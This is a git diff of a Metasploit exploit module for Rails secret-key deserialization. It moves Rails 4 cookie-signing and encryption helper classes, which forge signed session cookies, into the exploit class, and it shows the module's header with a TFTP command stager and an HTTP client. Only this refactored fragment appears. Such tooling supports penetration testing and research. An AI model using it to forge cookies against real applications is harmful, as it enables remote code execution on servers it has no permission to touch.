diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb
index 89a7dd290b..ed4e30a62c 100644
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb
@@ -7,95 +7,95 @@
 
 require 'msf/core'
 
-#Helper Classes copy/paste from Rails4
-class MessageVerifier
-
-	class InvalidSignature < StandardError; end
-
-	def initialize(secret, options = {})
-		@secret = secret
-		@digest = options[:digest] || 'SHA1'
-		@serializer = options[:serializer] || Marshal
-	end
-
-	def generate(value)
-		data = ::Base64.strict_encode64(@serializer.dump(value))
-		"#{data}--#{generate_digest(data)}"
-	end
-
-	def generate_digest(data)
-		require 'openssl' unless defined?(OpenSSL)
-		OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
-	end
-
-end
-
-class MessageEncryptor
-
-	module NullSerializer #:nodoc:
-
-		def self.load(value)
-			value
-		end
-
-		def self.dump(value)
-			value
-		end
-
-	end
-
-	class InvalidMessage < StandardError; end
-
-	OpenSSLCipherError = OpenSSL::Cipher::CipherError
-
-	def initialize(secret, *signature_key_or_options)
-		options = signature_key_or_options.extract_options!
-		sign_secret = signature_key_or_options.first
-		@secret = secret
-		@sign_secret = sign_secret
-		@cipher = options[:cipher] || 'aes-256-cbc'
-		@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
-		# @serializer = options[:serializer] || Marshal
-	end
-
-	def encrypt_and_sign(value)
-		@verifier.generate(_encrypt(value))
-	end
-
-	def _encrypt(value)
-		cipher = new_cipher
-		cipher.encrypt
-		cipher.key = @secret
-		# Rely on OpenSSL for the initialization vector
-		iv = cipher.random_iv
-		#encrypted_data = cipher.update(@serializer.dump(value))
-		encrypted_data = cipher.update(value)
-		encrypted_data << cipher.final
-		[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
-	end
-
-	def new_cipher
-		OpenSSL::Cipher::Cipher.new(@cipher)
-	end
-
-end
-
-class KeyGenerator
-
-	def initialize(secret, options = {})
-		@secret = secret
-		@iterations = options[:iterations] || 2**16
-	end
-
-	def generate_key(salt, key_size=64)
-		OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
-	end
-
-end
-
 class Metasploit3 < Msf::Exploit::Remote
 	Rank = ExcellentRanking
 
+	#Helper Classes copy/paste from Rails4
+	class MessageVerifier
+
+		class InvalidSignature < StandardError; end
+
+		def initialize(secret, options = {})
+			@secret = secret
+			@digest = options[:digest] || 'SHA1'
+			@serializer = options[:serializer] || Marshal
+		end
+
+		def generate(value)
+			data = ::Base64.strict_encode64(@serializer.dump(value))
+			"#{data}--#{generate_digest(data)}"
+		end
+
+		def generate_digest(data)
+			require 'openssl' unless defined?(OpenSSL)
+			OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
+		end
+
+	end
+
+	class MessageEncryptor
+
+		module NullSerializer #:nodoc:
+
+			def self.load(value)
+				value
+			end
+
+			def self.dump(value)
+				value
+			end
+
+		end
+
+		class InvalidMessage < StandardError; end
+
+		OpenSSLCipherError = OpenSSL::Cipher::CipherError
+
+		def initialize(secret, *signature_key_or_options)
+			options = signature_key_or_options.extract_options!
+			sign_secret = signature_key_or_options.first
+			@secret = secret
+			@sign_secret = sign_secret
+			@cipher = options[:cipher] || 'aes-256-cbc'
+			@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
+			# @serializer = options[:serializer] || Marshal
+		end
+
+		def encrypt_and_sign(value)
+			@verifier.generate(_encrypt(value))
+		end
+
+		def _encrypt(value)
+			cipher = new_cipher
+			cipher.encrypt
+			cipher.key = @secret
+			# Rely on OpenSSL for the initialization vector
+			iv = cipher.random_iv
+			#encrypted_data = cipher.update(@serializer.dump(value))
+			encrypted_data = cipher.update(value)
+			encrypted_data << cipher.final
+			[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+		end
+
+		def new_cipher
+			OpenSSL::Cipher::Cipher.new(@cipher)
+		end
+
+	end
+
+	class KeyGenerator
+
+		def initialize(secret, options = {})
+			@secret = secret
+			@iterations = options[:iterations] || 2**16
+		end
+
+		def generate_key(salt, key_size=64)
+			OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
+		end
+
+	end
+
 	include Msf::Exploit::CmdStagerTFTP
 	include Msf::Exploit::Remote::HttpClient